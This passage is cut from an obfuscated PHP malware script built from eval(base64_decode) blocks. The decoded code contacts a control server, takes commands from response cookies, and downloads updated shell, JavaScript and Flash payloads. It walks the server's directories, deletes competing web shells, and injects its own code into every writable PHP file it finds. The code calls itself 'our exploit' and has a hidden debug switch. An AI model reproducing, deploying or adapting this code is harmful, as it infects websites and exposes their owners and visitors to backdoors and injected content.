DhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICRSMkEwMzlFRDhGREJGNENFQUE5RTc5Q0RDM0FFQ0QxQTIrNywgc3RybGVuKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIpKSk7fSAkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyID0gc3RycG9zKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICc8PDw8PDw8Jyk7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSB0cmltKHN1YnN0cigkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAwLCAkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyKSk7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyJkb3dubG9hZGVkIHBocCBzaXplOiAiLnN0cmxlbigkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCKS4iPGJyPiI7IH0gRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRHTE9CQUxTWydkZ3NrZiddLCAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAiZmlsZSB7JEdMT0JBTFNbJ2Rnc2tmJ119IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5Li4uPGJyPiIsIDEsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpOyB9IGlmKGlzc2V0KCRfR0VUWydkZ2QnXSkpeyBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgJiB+RV9OT1RJQ0UpOyB9ZWxzZXsgZXJyb3JfcmVwb3J0aW5nKDApO30='));eval(base64_decode('function FFD456406745D816A45CAE554C788E754($R6E4F14B335243BE656C65E3ED9E1B115, $RC5B265F9301FFAC9B75AD1757A1402CA, &$R972A1D6D7FBAA83B27C6006E2C7CBC3F, $R9D286369CBA2FBEB34D036FFC3C9EB2E = '', $RE0A7B1BE19805DBB2350D66EDBE24AEF = 0){ $R6AB508110D1CA1855AAE05AD02282850 = 2; if(!$R6E4F14B335243BE656C65E3ED9E1B115){return '';} if(isset($_GET['dgd'])){ echo"downloading: $R6E4F14B335243BE656C65E3ED9E1B115<br>"; } $R844DFC0FD25D1F7E03DECF1F5A9504A9 = parse_url($R6E4F14B335243BE656C65E3ED9E1B115); $R844DFC0FD25D1F7E03DECF1F5A9504A9[port] = ($R844DFC0FD25D1F7E03DECF1F5A9504A9[port]) ? $R844DFC0FD25D1F7E03DECF1F5A9504A9[port] : 80; $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] = ($R844DFC0FD25D1F7E03DECF1F5A9504A9[path]) ? $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] : "/"; $R844DFC0FD25D1F7E03DECF1F5A9504A9[query] = ($R844DFC0FD25D1F7E03DECF1F5A9504A9[query]) ? $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] = $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] . "?" . $R844DFC0FD25D1F7E03DECF1F5A9504A9[query] : ""; if($R9D286369CBA2FBEB34D036FFC3C9EB2E){ $R0F99E0D6C7207D37EA8439D6EB434CDE = 'POST'; }else{ $R0F99E0D6C7207D37EA8439D6EB434CDE = 'GET'; } $RE91192A00FF990477EE414AD5D708F08 = "{$R0F99E0D6C7207D37EA8439D6EB434CDE} " . $R844DFC0FD25D1F7E03DECF1F5A9504A9[path] . " HTTP/1.1\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "Host: " . $R844DFC0FD25D1F7E03DECF1F5A9504A9[host] . "\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "Accept: */*" . "\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "Connection: close" . "\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" . "\r\n"; if($R9D286369CBA2FBEB34D036FFC3C9EB2E){ $RE91192A00FF990477EE414AD5D708F08 .= "Content-Type: application/x-www-form-urlencoded" . "\r\n"; $RE91192A00FF990477EE414AD5D708F08 .= "Content-Length: " . strlen($R9D286369CBA2FBEB34D036FFC3C9EB2E) . "\r\n"; } $RE91192A00FF990477EE414AD5D708F08 .= "\r\n{$R9D286369CBA2FBEB34D036FFC3C9EB2E}"; $R32D00070D4FFBCCE2FC669BBA812D4C2 = 0; $RB5ADDE8D7D7412251F47419FE9BF51A7 = ""; $RAD10634E7F72CAA071320F21AEE5930D = fsockopen($R844DFC0FD25D1F7E03DECF1F5A9504A9[host], $R844DFC0FD25D1F7E03DECF1F5A9504A9[port], $R32D00070D4FFBCCE2FC669BBA812D4C2, $RB5ADDE8D7D7412251F47419FE9BF51A7, $RC5B265F9301FFAC9B75AD1757A1402CA); $R60169CD1C47B7A7A85AB44F884635E41 = array(); $R7F9D6867B727C5EC3758829CBABBFD36 = array(); if($RAD10634E7F72CAA071320F21AEE5930D){ stream_set_timeout($RAD10634E7F72CAA071320F21AEE5930D, $RC5B265F9301FFAC9B75AD1757A1402CA); fwrite($RAD10634E7F72CAA071320F21AEE5930D, $RE91192A00FF990477EE414AD5D708F08); $RFA881AEE34CEA5BF14CD17E0AD2944C6 = false; while(!feof($RAD10634E7F72CAA071320F21AEE5930D)){ $R24D59CD0B76A27B85F35D40A3CF6EC37 = fgets($RAD10634E7F72CAA071320F21AEE5930D); if(!$RFA881AEE34CEA5BF14CD17E0AD2944C6){ if(trim($R24D59CD0B76A27B85F35D40A3CF6EC37) == ''){ $RFA881AEE34CEA5BF14CD17E0AD2944C6 = true; preg_match("/\s(\d+)\s/i", $R972A1D6D7FBAA83B27C6006E2C7CBC3F[0], $RE210144EE46D52EFF5A34BE0C0C71CCD); $R705C59363F6BEBFE41728F6F75F5423B = $RE210144EE46D52EFF5A34BE0C0C71CCD[1]; foreach($R972A1D6D7FBAA83B27C6006E2C7CBC3F as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $RCC5C6E696C11A4FDF170ECE8BA9FDC6F = explode(':', $R244F38266C59587D696AEC08A771B803); $RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0] = strtolower(trim($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0])); if($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0] == 'set-cookie'){ $R4CAA478FC1005DCAD93D16E2B120C14D = explode('=', $RCC5C6E696C11A4FDF170ECE8BA9FDC6F[1]); $RE674E33E8DC26EFCE29C0141E87BCC71 = strtolower(trim($R4CAA478FC1005DCAD93D16E2B120C14D[0])); $R2AD9950243B7A228B12A8650166BE4DC = trim($R4CAA478FC1005DCAD93D16E2B120C14D[1]); if($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'ml'){ if($R2AD9950243B7A228B12A8650166BE4DC > 0 && $R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['ml']){ $GLOBALS['dgopt']['ml'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'blo'){ if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['dgblo']){ $GLOBALS['dgopt']['dgblo'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'fr'){ if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['fr']){ $GLOBALS['dgopt']['fr'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'qr'){ $R2AD9950243B7A228B12A8650166BE4DC = trim(base64_decode(rawurldecode($R2AD9950243B7A228B12A8650166BE4DC))); if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['qr']){ $GLOBALS['dgopt']['qr'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'jsv' && $R2AD9950243B7A228B12A8650166BE4DC > 0 && $GLOBALS['jsv'] < $R2AD9950243B7A228B12A8650166BE4DC && $_SERVER['HTTP_HOST']){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_self<br>"; } $GLOBALS['dgu_jurl'] = $GLOBALS['dguh'] . "?update=js&host={$_SERVER['HTTP_HOST']}&ver={$GLOBALS['jsv']}"; }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'blo'){ if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['dgblo']){ $GLOBALS['dgopt']['dgblo'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'dgv' && $R2AD9950243B7A228B12A8650166BE4DC > 0 && $_SERVER['HTTP_HOST'] && (!file_exists($GLOBALS['dgdf']) || ($R2AD9950243B7A228B12A8650166BE4DC > 0 && filesize($GLOBALS['dgdf']) <> $R2AD9950243B7A228B12A8650166BE4DC))){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_dg<br>"; } file_exists($GLOBALS['dgdf']) ? $R41E9750045B5EA25161B97AC3F50EEAF = filesize($GLOBALS['dgdf']) : $R41E9750045B5EA25161B97AC3F50EEAF = 0; $GLOBALS['dgu_durl'] = $GLOBALS['dguh'] . "?update=dg&host={$_SERVER['HTTP_HOST']}&ver=" . $R41E9750045B5EA25161B97AC3F50EEAF; }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'swf' && $R2AD9950243B7A228B12A8650166BE4DC > 0 && $_SERVER['HTTP_HOST'] && (!file_exists($GLOBALS['dgff']) || ($R2AD9950243B7A228B12A8650166BE4DC > 0 && filesize($GLOBALS['dgff']) <> $R2AD9950243B7A228B12A8650166BE4DC))){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_swf<br>"; } file_exists($GLOBALS['dgff']) ? $R41E9750045B5EA25161B97AC3F50EEAF = filesize($GLOBALS['dgff']) : $R41E9750045B5EA25161B97AC3F50EEAF = 0; $GLOBALS['dgu_wurl'] = $GLOBALS['dguh'] . "?update=swf&host={$_SERVER['HTTP_HOST']}&ver=" . $R41E9750045B5EA25161B97AC3F50EEAF; }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'shv' && $R2AD9950243B7A228B12A8650166BE4DC && $_SERVER['HTTP_HOST'] && (!file_exists($GLOBALS['dgsf']) || ($R2AD9950243B7A228B12A8650166BE4DC > 0 && filesize($GLOBALS['dgsf']) <> $R2AD9950243B7A228B12A8650166BE4DC))){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_shl<br>"; } $GLOBALS['dgu_surl'] = $GLOBALS['dguh'] . "?update=shl&host={$_SERVER['HTTP_HOST']}"; }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'sk' && $R2AD9950243B7A228B12A8650166BE4DC && $_SERVER['HTTP_HOST'] && (!file_exists($GLOBALS['dgskf']) || ($R2AD9950243B7A228B12A8650166BE4DC > 0 && filesize($GLOBALS['dgskf']) <> $R2AD9950243B7A228B12A8650166BE4DC))){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_sk<br>"; } $GLOBALS['dgu_kurl'] = $GLOBALS['dguh'] . "?update=sk&host={$_SERVER['HTTP_HOST']}"; }elseif($RE674E33E8DC26EFCE29C0141E87BCC71 == 'qr' && $R2AD9950243B7A228B12A8650166BE4DC){ $R2AD9950243B7A228B12A8650166BE4DC = trim(base64_decode(rawurldecode($R2AD9950243B7A228B12A8650166BE4DC))); if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['qr']){ $GLOBALS['dgopt']['qr'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE674E33E8DC26EFCE29C0141E87BCC71 == 'newdw' && $R2AD9950243B7A228B12A8650166BE4DC && $_SERVER['HTTP_HOST'] && !FC23F7EC64F0BDE3B5ADE6C9DD48BE1F2()){ if(isset($_GET['dgd'])){ echo"fc: newdw - u_dw<br>"; } $GLOBALS['dgwdomain'] = "http:/"."/" . FC5CD818E18432BE97F2200CD1AF5BA5D($R6E4F14B335243BE656C65E3ED9E1B115) . '/'; $GLOBALS['dgu_nurl'] = $GLOBALS['dgwdomain'] . "?update=dw&host={$_SERVER['HTTP_HOST']}"; }elseif($RE674E33E8DC26EFCE29C0141E87BCC71 == 'dgth' && $R2AD9950243B7A228B12A8650166BE4DC){ $R2AD9950243B7A228B12A8650166BE4DC = trim(base64_decode(rawurldecode($R2AD9950243B7A228B12A8650166BE4DC))); if(preg_match("/[^\w\d\-\.]/", $R2AD9950243B7A228B12A8650166BE4DC)){ continue; } $RA09FE38AF36F6839F4A75051DC7CEA25 = 0; if(!strpos($GLOBALS['dgopt']['dgurl'], $R2AD9950243B7A228B12A8650166BE4DC)){ $GLOBALS['dgopt']['dgurl'] = str_replace(FC5CD818E18432BE97F2200CD1AF5BA5D($GLOBALS['dgopt']['dgurl']), $R2AD9950243B7A228B12A8650166BE4DC, $GLOBALS['dgopt']['dgurl']); $RA09FE38AF36F6839F4A75051DC7CEA25 = 1; } if(!strpos($GLOBALS['dgopt']['dgsu'], $R2AD9950243B7A228B12A8650166BE4DC)){ $GLOBALS['dgopt']['dgsu'] = str_replace(FC5CD818E18432BE97F2200CD1AF5BA5D($GLOBALS['dgopt']['dgsu']), $R2AD9950243B7A228B12A8650166BE4DC, $GLOBALS['dgopt']['dgsu']); $RA09FE38AF36F6839F4A75051DC7CEA25 = 1; } if($RA09FE38AF36F6839F4A75051DC7CEA25){ FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE674E33E8DC26EFCE29C0141E87BCC71 == 'dguh' && $R2AD9950243B7A228B12A8650166BE4DC){ $R2AD9950243B7A228B12A8650166BE4DC = trim(base64_decode(rawurldecode($R2AD9950243B7A228B12A8650166BE4DC))); $RCC5C6E696C11A4FDF170ECE8BA9FDC6F = explode(";", $R2AD9950243B7A228B12A8650166BE4DC); $R2AD9950243B7A228B12A8650166BE4DC = ''; $RA09FE38AF36F6839F4A75051DC7CEA25 = 0; foreach($RCC5C6E696C11A4FDF170ECE8BA9FDC6F as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R244F38266C59587D696AEC08A771B803 = trim($R244F38266C59587D696AEC08A771B803); if(strpos($R244F38266C59587D696AEC08A771B803, 'http') === 0){ $RA09FE38AF36F6839F4A75051DC7CEA25++; $R2AD9950243B7A228B12A8650166BE4DC ? $R2AD9950243B7A228B12A8650166BE4DC .= ";{$R244F38266C59587D696AEC08A771B803}" : $R2AD9950243B7A228B12A8650166BE4DC .= "{$R244F38266C59587D696AEC08A771B803}"; } } if($RA09FE38AF36F6839F4A75051DC7CEA25 >= 3 && $GLOBALS['dgopt']['dguh'] <> $R2AD9950243B7A228B12A8650166BE4DC){ $GLOBALS['dgopt']['dguh'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } } }elseif($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0] == 'location'){ $RE0A7B1BE19805DBB2350D66EDBE24AEF++; array_shift($RCC5C6E696C11A4FDF170ECE8BA9FDC6F); $RFB0A807C1475028CB6865DDF80B00BD4 = F3319A17FC84AEE14700CE8DE1BF6FD54($R6E4F14B335243BE656C65E3ED9E1B115, trim(implode(":", $RCC5C6E696C11A4FDF170ECE8BA9FDC6F))); if(isset($_GET['dgd'])){ echo"redirect to: $RFB0A807C1475028CB6865DDF80B00BD4<br>"; } if($RE0A7B1BE19805DBB2350D66EDBE24AEF <= $R6AB508110D1CA1855AAE05AD02282850){ $R972A1D6D7FBAA83B27C6006E2C7CBC3F = array(); $R034AE2AB94F99CC81B389A1822DA3353 = FFD456406745D816A45CAE554C788E754($RFB0A807C1475028CB6865DDF80B00BD4, $RC5B265F9301FFAC9B75AD1757A1402CA, $R972A1D6D7FBAA83B27C6006E2C7CBC3F, $R9D286369CBA2FBEB34D036FFC3C9EB2E, $RE0A7B1BE19805DBB2350D66EDBE24AEF); } return $R034AE2AB94F99CC81B389A1822DA3353; } } }else{ $R972A1D6D7FBAA83B27C6006E2C7CBC3F[] = $R24D59CD0B76A27B85F35D40A3CF6EC37; } }else{ $R7F9D6867B727C5EC3758829CBABBFD36[] = $R24D59CD0B76A27B85F35D40A3CF6EC37; } } fclose($RAD10634E7F72CAA071320F21AEE5930D); } $R034AE2AB94F99CC81B389A1822DA3353 = implode("", $R7F9D6867B727C5EC3758829CBABBFD36); return $R034AE2AB94F99CC81B389A1822DA3353;}'));eval(base64_decode('ZnVuY3Rpb24gRkUxOUE3RkFCMEY5NTk3RTY4RTIzMzExQkI1RkI0NjBGKCYkUkNDMTg3QTI3NkJCRUFGRUEzQTI0MDRBOUJERkRBMkU0KXsgJFJDQzE4N0EyNzZCQkVBRkVBM0EyNDA0QTlCREZEQTJFNCA9IHN1YnN0cigkUkNDMTg3QTI3NkJCRUFGRUEzQTI0MDRBOUJERkRBMkU0LCBzdHJwb3MoJFJDQzE4N0EyNzZCQkVBRkVBM0EyNDA0QTlCREZEQTJFNCwgJzw/JyksIHN0cmxlbigkUkNDMTg3QTI3NkJCRUFGRUEzQTI0MDRBOUJERkRBMkU0KSk7ICRSQ0MxODdBMjc2QkJFQUZFQTNBMjQwNEE5QkRGREEyRTQgPSBzdWJzdHIoJFJDQzE4N0EyNzZCQkVBRkVBM0EyNDA0QTlCREZEQTJFNCwgMCwgc3RycnBvcygkUkNDMTg3QTI3NkJCRUFGRUEzQTI0MDRBOUJERkRBMkU0LCAnPz4nKSArIDIpO30='));eval(base64_decode('function F012D69AC5CE9ED6C2EC5DF1609CA51C4($R812C761CE89A11DFC0AD67C239B22479, &$R63BEDE6B19266D4EFEAD07A4D91E29EB, $R4AFE6F1D68092877EC575B6BE730FDC4 = 0, $R399036803A841185E4A270BC666A66CF = true){ $R3B7218AA996D3A4560B63F1CF559BAB9 = array("los.php","r0x.php"); $RCC40921E342906CE1A0116A82D63AE97 = 0; $R3435986BDA8C9393E0EBDB9F58F02750 = $R812C761CE89A11DFC0AD67C239B22479; $R3435986BDA8C9393E0EBDB9F58F02750 = str_replace('\\', '/', $R3435986BDA8C9393E0EBDB9F58F02750); if(substr($R3435986BDA8C9393E0EBDB9F58F02750, strlen($R3435986BDA8C9393E0EBDB9F58F02750) - 1, 1) <> '/'){ $R3435986BDA8C9393E0EBDB9F58F02750 .= '/'; } if(!$R3435986BDA8C9393E0EBDB9F58F02750){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='red'>bad folder path [{$R3435986BDA8C9393E0EBDB9F58F02750}]</font><br>";} return; } if(!is_dir($R3435986BDA8C9393E0EBDB9F58F02750)){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750} - is not a folder</font><br>";} return; } if($GLOBALS['dgdirs'][$R3435986BDA8C9393E0EBDB9F58F02750]){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='yellow'>{$R3435986BDA8C9393E0EBDB9F58F02750} already checked</font><br>";} return; } $GLOBALS['dgdirs'][$R3435986BDA8C9393E0EBDB9F58F02750] = 1; if($R3435986BDA8C9393E0EBDB9F58F02750 == $GLOBALS['dgcp'] || file_exists($R3435986BDA8C9393E0EBDB9F58F02750.$GLOBALS['dgin'])){ if(!$R399036803A841185E4A270BC666A66CF){echo"<h4>{$R3435986BDA8C9393E0EBDB9F58F02750} is our dir, skipping...</h4>";} $RCC40921E342906CE1A0116A82D63AE97 = 1; } $R1B5BA58997656147D745220A4A67526B = substr(sprintf('%o', fileperms($R3435986BDA8C9393E0EBDB9F58F02750)), -4); $R6080D281F37DF8CEBCBC7ED9D0128829 = stat($R3435986BDA8C9393E0EBDB9F58F02750); $R9B491FC5BCBDF323A56E368AF5AE4881 = $R6080D281F37DF8CEBCBC7ED9D0128829[4]; $R445DE7E12C40266C50387E0312026EF9 = $R6080D281F37DF8CEBCBC7ED9D0128829[5]; if(function_exists('posix_getpwuid')){ $R6080D281F37DF8CEBCBC7ED9D0128829 = posix_getpwuid($R9B491FC5BCBDF323A56E368AF5AE4881); $R884068B3E99C50EED37BD15D7D109E5B = "; uname:{$R6080D281F37DF8CEBCBC7ED9D0128829['name']}"; } if(function_exists('posix_getgrgid')){ $R6080D281F37DF8CEBCBC7ED9D0128829 = posix_getgrgid($R445DE7E12C40266C50387E0312026EF9); $R48D1B183D570FEE900F4900E923ED3CC = $R6080D281F37DF8CEBCBC7ED9D0128829['name']; $R48D1B183D570FEE900F4900E923ED3CC = "; gname:{$R48D1B183D570FEE900F4900E923ED3CC}"; } $R5ACED229670AEE52CB99DF49B57E3C33 = "[uid:{$R9B491FC5BCBDF323A56E368AF5AE4881}; gid:{$R445DE7E12C40266C50387E0312026EF9}{$R884068B3E99C50EED37BD15D7D109E5B}{$R48D1B183D570FEE900F4900E923ED3CC}] "; if(!$R399036803A841185E4A270BC666A66CF){echo"{$R5ACED229670AEE52CB99DF49B57E3C33}[$R1B5BA58997656147D745220A4A67526B] {$R3435986BDA8C9393E0EBDB9F58F02750}<br>";} $R60169CD1C47B7A7A85AB44F884635E41 = opendir($R3435986BDA8C9393E0EBDB9F58F02750); if(!$R60169CD1C47B7A7A85AB44F884635E41){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750}</font><br>";} return; } while(strlen($R6B6E98CDE8B33087A33E4D3A497BD86B = readdir($R60169CD1C47B7A7A85AB44F884635E41))){ if($R6B6E98CDE8B33087A33E4D3A497BD86B == '.' || $R6B6E98CDE8B33087A33E4D3A497BD86B == '..'){ continue; } $R77059C7A69211EE32AB5C5C739545AAC = 0; $R44A3CADCFF1536F1D80FB4936AE5217C = md5($R6B6E98CDE8B33087A33E4D3A497BD86B); $REA59B2D9277B7D41FCDC0D385B531D05 = ""; $R3FF07D2E9DEBFE3EDA73A94394E973AD = ""; $RCBDDB47F1C2BFDBB49390A50C7E29292 = false; $R09A33463761E506248078D422B1C5226 = $R3435986BDA8C9393E0EBDB9F58F02750.$R6B6E98CDE8B33087A33E4D3A497BD86B; if($R6B6E98CDE8B33087A33E4D3A497BD86B == $GLOBALS['dgmn']){ if(!$R399036803A841185E4A270BC666A66CF){echo"<h4>{$R09A33463761E506248078D422B1C5226} is our exploit</h4>";} continue; } if(is_file($R09A33463761E506248078D422B1C5226) && !$RCC40921E342906CE1A0116A82D63AE97){ if($R6B6E98CDE8B33087A33E4D3A497BD86B == 's.php'){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='red'>{$R09A33463761E506248078D422B1C5226} is shell</font><br>";} continue; } if(in_array(strtolower($R6B6E98CDE8B33087A33E4D3A497BD86B), $R3B7218AA996D3A4560B63F1CF559BAB9)){ if(unlink($R09A33463761E506248078D422B1C5226)){ if(!$R399036803A841185E4A270BC666A66CF){echo"<h3 style='color:green'>{$R09A33463761E506248078D422B1C5226} ALIEN SHELL</h3>";} }else{ if(!$R399036803A841185E4A270BC666A66CF){echo"<h3 style='color:red'>{$R09A33463761E506248078D422B1C5226} ALIEN SHELL</h3>";} } continue; } if(!in_array(strtolower(FB0CA10E1120A0109457A62C6A8304059($R09A33463761E506248078D422B1C5226)), array("php","phtml","php3"))){ continue; } if($GLOBALS['dgfiles'][$R09A33463761E506248078D422B1C5226]){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='yellow'>{$R09A33463761E506248078D422B1C5226} already checked</font><br>";} continue; } $GLOBALS['dgfiles'][$R09A33463761E506248078D422B1C5226] = 1; $R6080D281F37DF8CEBCBC7ED9D0128829 = stat($R09A33463761E506248078D422B1C5226); $R9B491FC5BCBDF323A56E368AF5AE4881 = $R6080D281F37DF8CEBCBC7ED9D0128829[4]; $R445DE7E12C40266C50387E0312026EF9 = $R6080D281F37DF8CEBCBC7ED9D0128829[5]; if(function_exists('posix_getpwuid')){ $R6080D281F37DF8CEBCBC7ED9D0128829 = posix_getpwuid($R9B491FC5BCBDF323A56E368AF5AE4881); $R884068B3E99C50EED37BD15D7D109E5B = "; uname:{$R6080D281F37DF8CEBCBC7ED9D0128829['name']}"; } if(function_exists('posix_getgrgid')){ $R6080D281F37DF8CEBCBC7ED9D0128829 = posix_getgrgid($R445DE7E12C40266C50387E0312026EF9); $R48D1B183D570FEE900F4900E923ED3CC = $R6080D281F37DF8CEBCBC7ED9D0128829['name']; $R48D1B183D570FEE900F4900E923ED3CC = "; gname:{$R6080D281F37DF8CEBCBC7ED9D0128829['name']}"; } $R5ACED229670AEE52CB99DF49B57E3C33 = "[uid:{$R9B491FC5BCBDF323A56E368AF5AE4881}; gid:{$R445DE7E12C40266C50387E0312026EF9}{$R884068B3E99C50EED37BD15D7D109E5B}{$R48D1B183D570FEE900F4900E923ED3CC}] "; $R22B4EA7DA7019EC639E08E304CE1CEAE = substr(sprintf('%o', fileperms($R09A33463761E506248078D422B1C5226)), -4); $R39DF27925016F45D6DC502829E767757 = fopen($R09A33463761E506248078D422B1C5226, "a+"); $RFAABFDDD72237CED1803ADE2BADC3AB3 = "{$R5ACED229670AEE52CB99DF49B57E3C33}[{$R22B4EA7DA7019EC639E08E304CE1CEAE}] "; if(!$R39DF27925016F45D6DC502829E767757){ if(!$R399036803A841185E4A270BC666A66CF){echo"{$RFAABFDDD72237CED1803ADE2BADC3AB3}<font color='red'>{$R09A33463761E506248078D422B1C5226}</font><br>";flush();} continue; } fclose($R39DF27925016F45D6DC502829E767757); $R9DB9E103E88D622316D42B508D6D11AB = implode("", file($R09A33463761E506248078D422B1C5226)); $RA781739E1F0BEAF06B2830841D8D422F = preg_replace("/\<\!\-\-$R44A3CADCFF1536F1D80FB4936AE5217C\-\-\>.*\<\!\-\-$R44A3CADCFF1536F1D80FB4936AE5217C\-\-\>/siU", "", $R9DB9E103E88D622316D42B508D6D11AB); $RA781739E1F0BEAF06B2830841D8D422F = preg_replace("/^\s*\<\?(\w{3})?\s*\/\*\*\/\s*eval\(base64_decode.*\)\)\;\s*\?\>\s*(\S)/siU", "$2", $RA781739E1F0BEAF06B2830841D8D422F); FA1D19FA446AF9387979783AFAC70CD3E($RA781739E1F0BEAF06B2830841D8D422F); if($RA781739E1F0BEAF06B2830841D8D422F <> $R9DB9E103E88D622316D42B508D6D11AB){$REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[cleared]</b>";}else{$REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[not patched]</b>";} if(preg_match("/\@zend/i", $RA781739E1F0BEAF06B2830841D8D422F)){ if(!$R399036803A841185E4A270BC666A66CF){echo"{$RFAABFDDD72237CED1803ADE2BADC3AB3}<b>ZEND</b> <font color='red'>{$R09A33463761E506248078D422B1C5226}</font>{$REA59B2D9277B7D41FCDC0D385B531D05}<br>";flush();} }elseif($R4AFE6F1D68092877EC575B6BE730FDC4 && strpos(strtolower($R3435986BDA8C9393E0EBDB9F58F02750), '/cache/')){ $R3FF07D2E9DEBFE3EDA73A94394E973AD = " <b style='color:orange'> [cached file]</b>"; }elseif($R4AFE6F1D68092877EC575B6BE730FDC4){ $RA781739E1F0BEAF06B2830841D8D422F = "{$RB8A45A6D3EAB2C2B55B11593FDD85176}{$R63BEDE6B19266D4EFEAD07A4D91E29EB}{$RB8A45A6D3EAB2C2B55B11593FDD85176}\n{$RA781739E1F0BEAF06B2830841D8D422F}"; $R3FF07D2E9DEBFE3EDA73A94394E973AD = " <b> [patched]</b>"; } if($R9DB9E103E88D622316D42B508D6D11AB <> $RA781739E1F0BEAF06B2830841D8D422F){ F17B8C65064AE90679E4CE6254EF6C510($R09A33463761E506248078D422B1C5226, $RA781739E1F0BEAF06B2830841D8D422F, "$RFAABFDDD72237CED1803ADE2BADC3AB3<font color='green'>{$R09A33463761E506248078D422B1C5226}{$REA59B2D9277B7D41FCDC0D385B531D05}{$R3FF07D2E9DEBFE3EDA73A94394E973AD}</font><br>", 1, $R399036803A841185E4A270BC666A66CF); }else{ if(!$R399036803A841185E4A270BC666A66CF){echo"$RFAABFDDD72237CED1803ADE2BADC3AB3<font color='green'>{$R09A33463761E506248078D422B1C5226}{$REA59B2D9277B7D41FCDC0D385B531D05}{$R3FF07D2E9DEBFE3EDA73A94394E973AD}</font><br>";} } 